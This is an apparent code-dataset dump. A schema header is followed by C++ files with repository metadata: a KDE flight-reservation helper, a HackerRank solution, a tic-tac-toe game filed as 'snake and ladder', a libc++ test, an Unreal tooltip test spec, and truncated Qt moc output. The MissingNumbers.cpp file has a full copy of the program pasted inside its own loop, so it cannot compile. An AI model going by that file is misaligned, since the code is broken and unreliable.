blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
264
content_id
stringlengths
40
40
detected_licenses
listlengths
0
85
license_type
stringclasses
2 values
repo_name
stringlengths
5
140
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
905 values
visit_date
timestamp[us]date
2015-08-09 11:21:18
2023-09-06 10:45:07
revision_date
timestamp[us]date
1997-09-14 05:04:47
2023-09-17 19:19:19
committer_date
timestamp[us]date
1997-09-14 05:04:47
2023-09-06 06:22:19
github_id
int64
3.89k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-07 00:51:45
2023-09-14 21:58:39
gha_created_at
timestamp[us]date
2008-03-27 23:40:48
2023-08-21 23:17:38
gha_language
stringclasses
141 values
src_encoding
stringclasses
34 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
2 classes
length_bytes
int64
3
10.4M
extension
stringclasses
115 values
content
stringlengths
3
10.4M
authors
listlengths
1
1
author_id
stringlengths
0
158
c9afa94560a170fa8f20e05a53ee4281b7e59f9b
6419ef380609e7ae46616caedf68293895823f8f
/qml/flightreservation.cpp
bedd765359b8a08a254a52d12e7d024900d9778a
[]
no_license
zero804/kapa
99db9d29d28d87ced0519fa329b27e194e8400a5
47e09edbd306d0d0029fc38c21c00751a84b3ef0
refs/heads/master
2021-05-29T00:46:54.464139
2015-06-11T01:42:23
2015-06-11T01:42:23
null
0
0
null
null
null
null
UTF-8
C++
false
false
3,150
cpp
/* * Copyright (C) 2015 Vishesh Handa <vhanda@kde.org> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ #include "flightreservation.h" #include <KDocumentStore/KDocumentStore> #include <KDocumentStore/KDocumentCollection> #include <KDocumentStore/KDocumentQuery> #include <QStandardPaths> #include <QDebug> #include <algorithm> FlightReservation::FlightReservation(QObject* parent) : QObject(parent) { QString dir = QStandardPaths::writableLocation(QStandardPaths::GenericDataLocation) + "/kapa"; KDocumentStore store; store.setPath(dir + "/db"); if (!store.open()) { qDebug() << "FAILED to open db"; return; } KDocumentCollection coll = store.collection("flightinformation"); QList<QVariantMap> reservations; auto query = coll.find(QVariantMap()); while (query.next()) { reservations << query.result(); } // // Find the Reservation which is closest to the current time // in the future // const QDateTime now = QDateTime::currentDateTime(); for (const QVariantMap& map : reservations) { QDateTime dt = map.value("departureTime").toDateTime(); if (now.secsTo(dt) < 0) { continue; } QDateTime dataDt = m_data.value("departureTime").toDateTime(); if (dataDt.isNull()) { m_data = map; continue; } if (dt < dataDt) { m_data = map; continue; } } } bool FlightReservation::valid() const { return !m_data.isEmpty(); } QString FlightReservation::flightName() const { return m_data.value("flightName").toString(); } QString FlightReservation::flightNumber() const { return m_data.value("flightNumber").toString(); } QDateTime FlightReservation::departureTime() const { return m_data.value("departureTime").toDateTime(); } QDateTime FlightReservation::arrivalTime() const { return m_data.value("arrivalTime").toDateTime(); } QString FlightReservation::arrivalAirportCode() const { return m_data.value("arrivalAirportCode").toString(); } QString FlightReservation::arrivalAirportName() const { return m_data.value("arrivalAirportName").toString(); } QString FlightReservation::departureAirportCode() const { return m_data.value("departureAirportCode").toString(); } QString FlightReservation::departureAirportName() const { return m_data.value("departureAirportName").toString(); }
[ "me@vhanda.in" ]
me@vhanda.in
5d79276ec9e2f8d82173d0a5839f879366a9c865
62bf91e6efbc8762c6ff0097486e1d2a7836def7
/Algorithms/Search/MissingNumbers.cpp
db391f43a369afe80dc260560fa6bfb17cbd2edc
[]
no_license
Fidanrlee/Hackerrank-solutions
1d7618c565125aff22a470fa3976f30bb8537eb8
91c7d3e1831fc296f2e68e2fa5eca6b8f1b5fd7c
refs/heads/master
2021-02-07T10:09:24.978660
2020-07-08T11:06:16
2020-07-08T11:06:16
244,012,551
0
0
null
null
null
null
UTF-8
C++
false
false
1,656
cpp
#include <cmath> #include <cstdio> #include <vector> #include <iostream> #include <algorithm> using namespace std; int main() { int t,d,a; cin>>t; vector <long long int> v1; for(int i=0;i<t;i++){ cin>>a; v1.push_back(a); } cin>>d; vector <long long int> v2; for(int i=0;i<d;i++){ cin>>a; v2.push_back(a); } for(int i=0;i<t;i++) for(int j=0;j<d;j++) if(v1[i]==v2[j]){ v2.erase(v2.begin()+j); break; } sort(v2.begin(),v2.end()) ; for(int i=0;i<v2.size();i++) for(int j=0;j<v2.size();j++) if(v2[i]==v2[j] && i!=j) v2.erase(v2.begin()+j); for(int i=0;i<v2.size();i++) if(v2[i]!=0 )#include <cmath> #include <cstdio> #include <vector> #include <iostream> #include <algorithm> using namespace std; int main() { int t,d,a; cin>>t; vector <long long int> v1; for(int i=0;i<t;i++){ cin>>a; v1.push_back(a); } cin>>d; vector <long long int> v2; for(int i=0;i<d;i++){ cin>>a; v2.push_back(a); } for(int i=0;i<t;i++) for(int j=0;j<d;j++) if(v1[i]==v2[j]){ v2.erase(v2.begin()+j); break; } sort(v2.begin(),v2.end()) ; for(int i=0;i<v2.size();i++) for(int j=0;j<v2.size();j++) if(v2[i]==v2[j] && i!=j) v2.erase(v2.begin()+j); for(int i=0;i<v2.size();i++) if(v2[i]!=0 ) cout<<v2[i]<<" "; return 0; } cout<<v2[i]<<" "; return 0; }
[ "fidan.nonnnn5@gmail.com" ]
fidan.nonnnn5@gmail.com
bcee8f01116a69aedcc9abb37efafd24f069be90
197381ad9ce2e3b224d9c40882da6e56b301f180
/Others/snake and ladder.cpp
19f2faad0819c7427eae329cfed9e072dce3d288
[]
no_license
dalalsunil1986/OnlineJudge-Solution
c68ec45acf276478d1fa56dc7bede987bdc224a4
fb2309c9c90b27dab02bec9d87e0de0a3359c128
refs/heads/master
2023-07-16T04:20:55.255485
2021-08-28T17:58:22
2021-08-28T17:58:22
null
0
0
null
null
null
null
UTF-8
C++
false
false
4,720
cpp
#include<stdio.h> #include<conio.h> #include<stdlib.h> #include <windows.h> int board[10] = {2,2,2,2,2,2,2,2,2,2}; int turn = 1,flag = 0; int player,comp; void menu(); void go(int n); void start_game(); void check_draw(); void draw_board(); void player_first(); void put_X_O(char ch,int pos); COORD coord= {0,0}; // this is global variable //center of axis is set to the top left cornor of the screen void gotoxy(int x,int y) { coord.X=x; coord.Y=y; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),coord); } int main() { system("cls"); menu(); getch(); } void menu() { int choice; system("cls"); printf("\n--------MENU--------"); printf("\n1 : Play with X"); printf("\n2 : Play with O"); printf("\n3 : Exit"); printf("\nEnter your choice:>"); scanf("%d",&choice); turn = 1; switch (choice) { case 1: player = 1; comp = 0; player_first(); break; case 2: player = 0; comp = 1; start_game(); break; case 3: exit(1); default: menu(); } } int make2() { if(board[5] == 2) return 5; if(board[2] == 2) return 2; if(board[4] == 2) return 4; if(board[6] == 2) return 6; if(board[8] == 2) return 8; return 0; } int make4() { if(board[1] == 2) return 1; if(board[3] == 2) return 3; if(board[7] == 2) return 7; if(board[9] == 2) return 9; return 0; } int posswin(int p) { // p==1 then X p==0 then O int i; int check_val,pos; if(p == 1) check_val = 18; else check_val = 50; i = 1; while(i<=9)//row check { if(board[i] * board[i+1] * board[i+2] == check_val) { if(board[i] == 2) return i; if(board[i+1] == 2) return i+1; if(board[i+2] == 2) return i+2; } i+=3; } i = 1; while(i<=3)//column check { if(board[i] * board[i+3] * board[i+6] == check_val) { if(board[i] == 2) return i; if(board[i+3] == 2) return i+3; if(board[i+6] == 2) return i+6; } i++; } if(board[1] * board[5] * board[9] == check_val) { if(board[1] == 2) return 1; if(board[5] == 2) return 5; if(board[9] == 2) return 9; } if(board[3] * board[5] * board[7] == check_val) { if(board[3] == 2) return 3; if(board[5] == 2) return 5; if(board[7] == 2) return 7; } return 0; } void go(int n) { if(turn % 2) board[n] = 3; else board[n] = 5; turn++; } void player_first() { int pos; check_draw(); draw_board(); gotoxy(30,18); printf("Your Turn :> "); scanf("%d",&pos); if(board[pos] != 2) player_first(); if(pos == posswin(player)) { go(pos); draw_board(); gotoxy(30,20); //textcolor(128+RED); printf("Player Wins"); getch(); exit(0); } go(pos); draw_board(); start_game(); } void start_game() { // p==1 then X p==0 then O if(posswin(comp)) { go(posswin(comp)); flag = 1; } else if(posswin(player)) go(posswin(player)); else if(make2()) go(make2()); else go(make4()); draw_board(); if(flag) { gotoxy(30,20); //textcolor(128+RED); printf("Computer wins"); getch(); } else player_first(); } void check_draw() { if(turn > 9) { gotoxy(30,20); //textcolor(128+RED); printf("Game Draw"); getch(); exit(0); } } void draw_board() { int j; for(j=9; j<17; j++) { gotoxy(35,j); printf("| |"); } gotoxy(28,11); printf("-----------------------"); gotoxy(28,14); printf("-----------------------"); for(j=1; j<10; j++) { if(board[j] == 3) put_X_O('X',j); else if(board[j] == 5) put_X_O('O',j); } } void put_X_O(char ch,int pos) { int m; int x = 31, y = 10; m = pos; if(m > 3) { while(m > 3) { y += 3; m -= 3; } } if(pos % 3 == 0) x += 16; else { pos %= 3; pos--; while(pos) { x+=8; pos--; } } gotoxy(x,y); printf("%c",ch); }
[ "sajeebsrs@gmail.com" ]
sajeebsrs@gmail.com
e6aa5d7ba70e290d34ce61d3040d591a13bf6358
399b5e377fdd741fe6e7b845b70491b9ce2cccfd
/LLVM_src/libcxx/test/std/depr/depr.str.strstreams/depr.strstreambuf/types.pass.cpp
755916f653c5a2a75557abdf698165d87b6dede1
[ "NCSA", "LLVM-exception", "MIT", "Apache-2.0" ]
permissive
zslwyuan/LLVM-9-for-Light-HLS
6ebdd03769c6b55e5eec923cb89e4a8efc7dc9ab
ec6973122a0e65d963356e0fb2bff7488150087c
refs/heads/master
2021-06-30T20:12:46.289053
2020-12-07T07:52:19
2020-12-07T07:52:19
203,967,206
1
3
null
2019-10-29T14:45:36
2019-08-23T09:25:42
C++
UTF-8
C++
false
false
591
cpp
//===----------------------------------------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // <strstream> // class strstreambuf // : public basic_streambuf<char> #include <strstream> #include <type_traits> int main() { static_assert((std::is_base_of<std::streambuf, std::strstreambuf>::value), ""); }
[ "tliang@connect.ust.hk" ]
tliang@connect.ust.hk
2fe1d83c342c5c3c8099ac7cf3db80dbb81ccf3e
309dc16deb27ca09f20e6d15ba2b7e51771da0d5
/Plugins/MixedReality-UXTools-Unreal-public-0.11.x/UXToolsGame/Source/UXToolsTests/Tests/Tooltip.spec.cpp
696c2f25a27ac5bbbaa82d22126509593be6ae19
[ "MIT" ]
permissive
Hengle/TARGeM_Hololens2
d21cd7798d018fc5f3a786ab41db3774c33059fe
860fce1653b0d6fed6ac7cfc8125d7beb11a7a09
refs/heads/master
2023-03-29T21:32:55.072704
2021-03-29T17:48:28
2021-03-29T17:48:28
null
0
0
null
null
null
null
UTF-8
C++
false
false
11,657
cpp
// Copyright (c) 2020 Microsoft Corporation. // Licensed under the MIT License. #include "AutomationBlueprintFunctionLibrary.h" #include "Engine.h" #include "EngineUtils.h" #include "FrameQueue.h" #include "UxtTestHandTracker.h" #include "UxtTestUtils.h" #include "Blueprint/UserWidget.h" #include "Components/SplineMeshComponent.h" #include "Components/WidgetComponent.h" #include "GameFramework/Actor.h" #include "Input/UxtNearPointerComponent.h" #include "Misc/AutomationTest.h" #include "Templates/SharedPointer.h" #include "Tests/AutomationCommon.h" #include "Tooltips/UxtTooltipActor.h" #include "Utils/UxtFunctionLibrary.h" #if WITH_DEV_AUTOMATION_TESTS BEGIN_DEFINE_SPEC(TooltipSpec, "UXTools.TooltipTest", EAutomationTestFlags::ProductFilter | EAutomationTestFlags::ApplicationContextMask) AActor* SomeTargetActor; AUxtTooltipActor* TooltipActor; UUxtNearPointerComponent* Pointer; FVector TooltipLocation; FFrameQueue FrameQueue; FUxtTestHandTracker* HandTracker; const float MoveBy = 10; FVector v0; // General purpose vector register. END_DEFINE_SPEC(TooltipSpec) void TooltipSpec::Define() { Describe("Tooltip", [this] { BeforeEach([this] { // Load the empty test map to run the test in. TestTrueExpr(AutomationOpenMap(TEXT("/Game/UXToolsGame/Tests/Maps/TestEmpty"))); UWorld* World = UxtTestUtils::GetTestWorld(); FrameQueue.Init(&World->GetGameInstance()->GetTimerManager()); TooltipLocation = FVector(75, 10, 0); // Target Actor. SomeTargetActor = World->SpawnActor<AActor>(); USceneComponent* RootNode = NewObject<USceneComponent>(SomeTargetActor); SomeTargetActor->SetRootComponent(RootNode); UStaticMeshComponent* MeshComponent = UxtTestUtils::CreateBoxStaticMesh(SomeTargetActor); SomeTargetActor->SetRootComponent(MeshComponent); MeshComponent->RegisterComponent(); SomeTargetActor->SetActorLocation(FVector(50, 10, 0), false); // Tooltip Actor TooltipActor = World->SpawnActor<AUxtTooltipActor>(); TooltipActor->SetActorLocationAndRotation(TooltipLocation, FQuat::Identity, false); const FTransform T1 = TooltipActor->GetTransform(); // Hand Tracker. HandTracker = &UxtTestUtils::EnableTestHandTracker(); HandTracker->SetAllJointPositions(FVector::ZeroVector); HandTracker->SetAllJointOrientations(FQuat::Identity); Pointer = UxtTestUtils::CreateNearPointer(World, "TestPointer", FVector::ZeroVector); Pointer->PokeDepth = 5; }); AfterEach([this] { HandTracker = nullptr; UxtTestUtils::DisableTestHandTracker(); FrameQueue.Reset(); UxtTestUtils::GetTestWorld()->DestroyActor(TooltipActor); TooltipActor = nullptr; UxtTestUtils::GetTestWorld()->DestroyActor(SomeTargetActor); SomeTargetActor = nullptr; Pointer->GetOwner()->Destroy(); Pointer = nullptr; }); LatentIt("Creating/destroying the tooltip", [this](const FDoneDelegate& Done) { FrameQueue.Skip(); FrameQueue.Enqueue([this] { TestTrue("Make sure tooltip is constructed", TooltipActor->IsValidLowLevel()); }); FrameQueue.Skip(); FrameQueue.Enqueue([Done] { Done.Execute(); }); }); LatentIt("Changing the tooltip widget", [this](const FDoneDelegate& Done) { const FString WidgetBPAddress("/Game/UXToolsGame/Tests/Tooltip/W_TestText.W_TestText"); UBlueprint* WidgetBP = Cast<UBlueprint>(StaticLoadObject(UBlueprint::StaticClass(), nullptr, *WidgetBPAddress, nullptr, LOAD_None, nullptr)); TestTrue("Loading Test widget", WidgetBP != nullptr); FrameQueue.Skip(); FrameQueue.Enqueue([this, WidgetBP] { TooltipActor->WidgetClass = WidgetBP->GeneratedClass; }); FrameQueue.Skip(2); FrameQueue.Enqueue([this, WidgetBP] { TSubclassOf<class UUserWidget> CurrentClass = TooltipActor->TooltipWidgetComponent->GetWidgetClass(); TSubclassOf<class UUserWidget> GeneratedClass = TooltipActor->WidgetClass; bool bAreClassEqual = CurrentClass == GeneratedClass; TestTrue(TEXT("Our Tooltip should now have the custom TestText widget"), bAreClassEqual); }); FrameQueue.Enqueue([Done] { Done.Execute(); }); }); LatentIt("Attaching tooltip to target", [this](const FDoneDelegate& Done) { FrameQueue.Skip(); FrameQueue.Enqueue([this] { TooltipActor->TooltipTarget.OtherActor = SomeTargetActor; TooltipActor->TooltipTarget.OverrideComponent = SomeTargetActor->GetRootComponent(); }); FrameQueue.Skip(2); FrameQueue.Enqueue([this] { // we should be visible and have a spline auto StartPos = TooltipActor->SplineMeshComponent->GetStartPosition(); auto EndPos = TooltipActor->SplineMeshComponent->GetEndPosition(); auto Delta = StartPos - EndPos; TestTrue( TEXT("A tooltip attached to an actor should have a spline with a different start and end point."), Delta.Size() > 1.0); }); FrameQueue.Enqueue([Done] { Done.Execute(); }); }); LatentIt("Attaching to movable and making sure it follows", [this](const FDoneDelegate& Done) { const FVector Offset(10.0f, 0.0f, 0.0f); FrameQueue.Skip(); FrameQueue.Enqueue([this, Offset] { TooltipActor->SetTarget(SomeTargetActor, SomeTargetActor->GetRootComponent()); }); FrameQueue.Skip(2); FrameQueue.Enqueue([this, Offset] { v0 = TooltipActor->GetActorLocation(); auto OriginalActorLocation = SomeTargetActor->GetActorLocation(); SomeTargetActor->SetActorLocation(OriginalActorLocation + Offset); }); FrameQueue.Skip(2); FrameQueue.Enqueue([this, Offset] { auto NewTooltipLocation = TooltipActor->GetActorLocation(); auto Delta = NewTooltipLocation - v0; Delta = Delta - Offset; TestTrue(TEXT("The tooltip should move by the same amount as the target"), Delta.Size() < 0.01f); }); FrameQueue.Enqueue([Done] { Done.Execute(); }); }); LatentIt("Test Anchors", [this](const FDoneDelegate& Done) { const FVector Offset(10.0f, 0.0f, 0.0f); FrameQueue.Skip(); FrameQueue.Enqueue([this, Offset] { TooltipActor->SetTarget(SomeTargetActor, SomeTargetActor->GetRootComponent()); }); FrameQueue.Skip(2); FrameQueue.Enqueue([this, Offset] { auto EndPositionLocal = TooltipActor->SplineMeshComponent->GetEndPosition(); auto EndPositionWorld = TooltipActor->GetTransform().TransformPositionNoScale(EndPositionLocal); auto SomeActorPosition = SomeTargetActor->GetActorLocation(); auto Delta = SomeActorPosition - EndPositionWorld; TestTrue(TEXT("The tooltip end + anchor doesn't match what we anticipate it to be"), Delta.Size() < 0.01f); TooltipActor->Anchor->SetRelativeLocation(Offset); }); FrameQueue.Skip(2); FrameQueue.Enqueue([this, Offset] { auto EndPositionLocal = TooltipActor->SplineMeshComponent->GetEndPosition(); auto EndPositionWorld = TooltipActor->GetTransform().TransformPositionNoScale(EndPositionLocal); auto SomeActorPosition = SomeTargetActor->GetActorLocation(); auto Delta = EndPositionWorld - SomeActorPosition; Delta = Delta - Offset; TestTrue(TEXT("The tooltip end + anchor doesn't match what we anticipate it to be"), Delta.Size() < 0.01f); }); FrameQueue.Enqueue([Done] { Done.Execute(); }); }); LatentIt("Test Billboard", [this](const FDoneDelegate& Done) { FrameQueue.Skip(); FrameQueue.Enqueue([this, Done] { FTransform HeadTransform = UUxtFunctionLibrary::GetHeadPose(UxtTestUtils::GetTestWorld()); const FVector TargetVector = HeadTransform.GetLocation() - TooltipActor->GetActorLocation(); auto Rot1 = TooltipActor->GetActorRotation().Vector(); auto Rot2 = FRotationMatrix::MakeFromX(TargetVector).Rotator().Vector(); TestEqual("Make sure the tooltip is billboarding to the head.", Rot1, Rot2); Done.Execute(); }); }); LatentIt("Test Auto Anchor", [this](const FDoneDelegate& Done) { const FVector Offset(10.0f, 0.0f, 0.0f); FrameQueue.Skip(); FrameQueue.Enqueue([this, Offset] { TooltipActor->SetTarget(SomeTargetActor, SomeTargetActor->GetRootComponent()); }); FrameQueue.Skip(2); FrameQueue.Enqueue([this, Offset] { v0 = TooltipActor->GetActorLocation(); auto OriginalActorLocation = SomeTargetActor->GetActorLocation(); SomeTargetActor->SetActorLocation(OriginalActorLocation + Offset); }); FrameQueue.Skip(2); FrameQueue.Enqueue([this, Offset] { auto SplineStartPos = TooltipActor->SplineMeshComponent->GetStartPosition(); TestTrue(TEXT("The start position should not be 0 0 0 if the auto anchor is working."), SplineStartPos.Size() > 1.0f); }); FrameQueue.Enqueue([Done] { Done.Execute(); }); }); // Commenting out tests which currently fail until they can be fixed. // LatentIt("Test SetVisibility", [this](const FDoneDelegate& Done) //{ // //wait for the screen to really load before taking the screenshot // FrameQueue.Skip(); // FrameQueue.Enqueue([this] // { // UAutomationBlueprintFunctionLibrary::FinishLoadingBeforeScreenshot(); // TooltipActor->BackPlate->SetHiddenInGame(true); // The backplate rendering is non deterministic. // }); // FrameQueue.Skip(5); // FrameQueue.Enqueue([this] // { // UWorld* World = UxtTestUtils::GetTestWorld(); // FAutomationTestFramework::Get().OnScreenshotTakenAndCompared.AddLambda([this]() { // FrameQueue.Resume(); // }); // FAutomationScreenshotOptions Options(EComparisonTolerance::Low); // if (UAutomationBlueprintFunctionLibrary::TakeAutomationScreenshotInternal(World, "TestVisibilityScreenshot.jpg", "You should // see the tooltip", Options)) // { // FrameQueue.Pause(); // } // }); // FrameQueue.Skip(2); // FrameQueue.Enqueue([this] // { // TooltipActor->SetActorHiddenInGame(true); // }); // FrameQueue.Skip(); // FrameQueue.Enqueue([this] // { // UWorld* World = UxtTestUtils::GetTestWorld(); // FAutomationTestFramework::Get().OnScreenshotTakenAndCompared.AddLambda([this]() { // FrameQueue.Resume(); // }); // FAutomationScreenshotOptions Options(EComparisonTolerance::Low); // if (UAutomationBlueprintFunctionLibrary::TakeAutomationScreenshotInternal(World, "TestInVisibilityScreenshot.jpg", "You // shouldn't see the tooltip", Options)) // { // FrameQueue.Pause(); // } // }); // FrameQueue.Skip(2); // FrameQueue.Enqueue([this, Done] // { // FAutomationTestFramework::Get().OnScreenshotTakenAndCompared.RemoveAll(this); // Done.Execute(); // }); //}); // LatentIt("Test SetText", [this](const FDoneDelegate& Done) //{ // //wait for the screen to really load before taking the screenshot // FrameQueue.Skip(); // FrameQueue.Enqueue([this] // { // UAutomationBlueprintFunctionLibrary::FinishLoadingBeforeScreenshot(); // TooltipActor->BackPlate->SetHiddenInGame(true); // The backplate rendering is non deterministic. // }); // FrameQueue.Skip(); // FrameQueue.Enqueue([this] // { // TooltipActor->SetText(FText::AsCultureInvariant("Some custom text")); // }); // FrameQueue.Skip(5); // FrameQueue.Enqueue([this] // { // UWorld* World = UxtTestUtils::GetTestWorld(); // FAutomationTestFramework::Get().OnScreenshotTakenAndCompared.AddLambda([this]() { // FrameQueue.Resume(); // }); // FAutomationScreenshotOptions Options(EComparisonTolerance::Low); // if (UAutomationBlueprintFunctionLibrary::TakeAutomationScreenshotInternal(World, "TestCustomTextScreenshot.jpg", "The // default text should have changed.", Options)) // { // FrameQueue.Pause(); // } // }); // FrameQueue.Skip(2); // FrameQueue.Enqueue([this, Done] // { // FAutomationTestFramework::Get().OnScreenshotTakenAndCompared.RemoveAll(this); // Done.Execute(); // }); //}); }); } #endif // WITH_DEV_AUTOMATION_TESTS
[ "65578749+nabuhant@users.noreply.github.com" ]
65578749+nabuhant@users.noreply.github.com
15146639cfef846bfef9da609814e9f15b107a5f
cf9e04ce25cc566c5e04386bcecffcc7aa1379be
/NaPomocMatiemu/NaPomocMatiemu/Typ.h
b6388234d31b8d1810ec078bfec200ddc591beaf
[ "MIT" ]
permissive
MiszelHub/PobiMatiego
90df18e490df9ac02204c5b4bb1c89599be27690
96def41a0927e54f3c2310d98cb88f586e0e4d46
refs/heads/master
2020-05-23T07:51:49.647931
2017-01-31T12:46:13
2017-01-31T12:46:13
80,457,352
0
0
null
null
null
null
UTF-8
C++
false
false
290
h
#ifndef TYP_H #define TYP_H #include<string> class Typ { public: Typ(std::string nazwaTypu); virtual ~Typ(); double virtual obliczRabat(double bilans); void maxIloscWypozyczen(); std::string wyswietl(); protected: std::string jakiTyp; int ileSamochodow; private: }; #endif // TYP_H
[ "nolanb.o.s@gmail.com" ]
nolanb.o.s@gmail.com
615797472ac94cad0dd4512022c974de042d79c5
32651e320276866ea0bf7acd8459fb079b2c8850
/build/ALBuild/PODOLAN/moc_PODOServer.cpp
30d9876b35c0bc2e4d3b27fe2dc74451f6b12b18
[]
no_license
YuuuJin/PODO_gogo
bb1e22d5c08b98ab0d988eb8ded76a4a4bb3c92d
00178e7ba6976e622c45e8344ce95c2e8fab172d
refs/heads/master
2020-12-03T22:51:34.989881
2020-01-03T04:29:36
2020-01-03T04:29:36
231,511,825
0
0
null
null
null
null
UTF-8
C++
false
false
11,522
cpp
/**************************************************************************** ** Meta object code from reading C++ file 'PODOServer.h' ** ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.7.0) ** ** WARNING! All changes made in this file will be lost! *****************************************************************************/ #include "../../../src/ALPrograms/PODOLAN/PODOServer.h" #include <QtCore/qbytearray.h> #include <QtCore/qmetatype.h> #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'PODOServer.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 67 #error "This file was generated using the moc from 5.7.0. It" #error "cannot be used with the include files from this version of Qt." #error "(The moc has changed too much.)" #endif QT_BEGIN_MOC_NAMESPACE struct qt_meta_stringdata_PODO_GUI_Server_t { QByteArrayData data[3]; char stringdata0[28]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_PODO_GUI_Server_t, stringdata0) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const qt_meta_stringdata_PODO_GUI_Server_t qt_meta_stringdata_PODO_GUI_Server = { { QT_MOC_LITERAL(0, 0, 15), // "PODO_GUI_Server" QT_MOC_LITERAL(1, 16, 10), // "RBReadData" QT_MOC_LITERAL(2, 27, 0) // "" }, "PODO_GUI_Server\0RBReadData\0" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_PODO_GUI_Server[] = { // content: 7, // revision 0, // classname 0, 0, // classinfo 1, 14, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 0, // signalCount // slots: name, argc, parameters, tag, flags 1, 0, 19, 2, 0x09 /* Protected */, // slots: parameters QMetaType::Void, 0 // eod }; void PODO_GUI_Server::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { if (_c == QMetaObject::InvokeMetaMethod) { PODO_GUI_Server *_t = static_cast<PODO_GUI_Server *>(_o); Q_UNUSED(_t) switch (_id) { case 0: _t->RBReadData(); break; default: ; } } Q_UNUSED(_a); } const QMetaObject PODO_GUI_Server::staticMetaObject = { { &RBTCPServer::staticMetaObject, qt_meta_stringdata_PODO_GUI_Server.data, qt_meta_data_PODO_GUI_Server, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} }; const QMetaObject *PODO_GUI_Server::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *PODO_GUI_Server::qt_metacast(const char *_clname) { if (!_clname) return Q_NULLPTR; if (!strcmp(_clname, qt_meta_stringdata_PODO_GUI_Server.stringdata0)) return static_cast<void*>(const_cast< PODO_GUI_Server*>(this)); return RBTCPServer::qt_metacast(_clname); } int PODO_GUI_Server::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = RBTCPServer::qt_metacall(_c, _id, _a); if (_id < 0) return _id; if (_c == QMetaObject::InvokeMetaMethod) { if (_id < 1) qt_static_metacall(this, _c, _id, _a); _id -= 1; } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { if (_id < 1) *reinterpret_cast<int*>(_a[0]) = -1; _id -= 1; } return _id; } struct qt_meta_stringdata_PODO_ROS_Server_t { QByteArrayData data[3]; char stringdata0[28]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_PODO_ROS_Server_t, stringdata0) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const qt_meta_stringdata_PODO_ROS_Server_t qt_meta_stringdata_PODO_ROS_Server = { { QT_MOC_LITERAL(0, 0, 15), // "PODO_ROS_Server" QT_MOC_LITERAL(1, 16, 10), // "RBReadData" QT_MOC_LITERAL(2, 27, 0) // "" }, "PODO_ROS_Server\0RBReadData\0" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_PODO_ROS_Server[] = { // content: 7, // revision 0, // classname 0, 0, // classinfo 1, 14, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 0, // signalCount // slots: name, argc, parameters, tag, flags 1, 0, 19, 2, 0x09 /* Protected */, // slots: parameters QMetaType::Void, 0 // eod }; void PODO_ROS_Server::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { if (_c == QMetaObject::InvokeMetaMethod) { PODO_ROS_Server *_t = static_cast<PODO_ROS_Server *>(_o); Q_UNUSED(_t) switch (_id) { case 0: _t->RBReadData(); break; default: ; } } Q_UNUSED(_a); } const QMetaObject PODO_ROS_Server::staticMetaObject = { { &RBTCPServer::staticMetaObject, qt_meta_stringdata_PODO_ROS_Server.data, qt_meta_data_PODO_ROS_Server, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} }; const QMetaObject *PODO_ROS_Server::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *PODO_ROS_Server::qt_metacast(const char *_clname) { if (!_clname) return Q_NULLPTR; if (!strcmp(_clname, qt_meta_stringdata_PODO_ROS_Server.stringdata0)) return static_cast<void*>(const_cast< PODO_ROS_Server*>(this)); return RBTCPServer::qt_metacast(_clname); } int PODO_ROS_Server::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = RBTCPServer::qt_metacall(_c, _id, _a); if (_id < 0) return _id; if (_c == QMetaObject::InvokeMetaMethod) { if (_id < 1) qt_static_metacall(this, _c, _id, _a); _id -= 1; } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { if (_id < 1) *reinterpret_cast<int*>(_a[0]) = -1; _id -= 1; } return _id; } struct qt_meta_stringdata_PODO_VISION_Server_t { QByteArrayData data[3]; char stringdata0[31]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_PODO_VISION_Server_t, stringdata0) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const 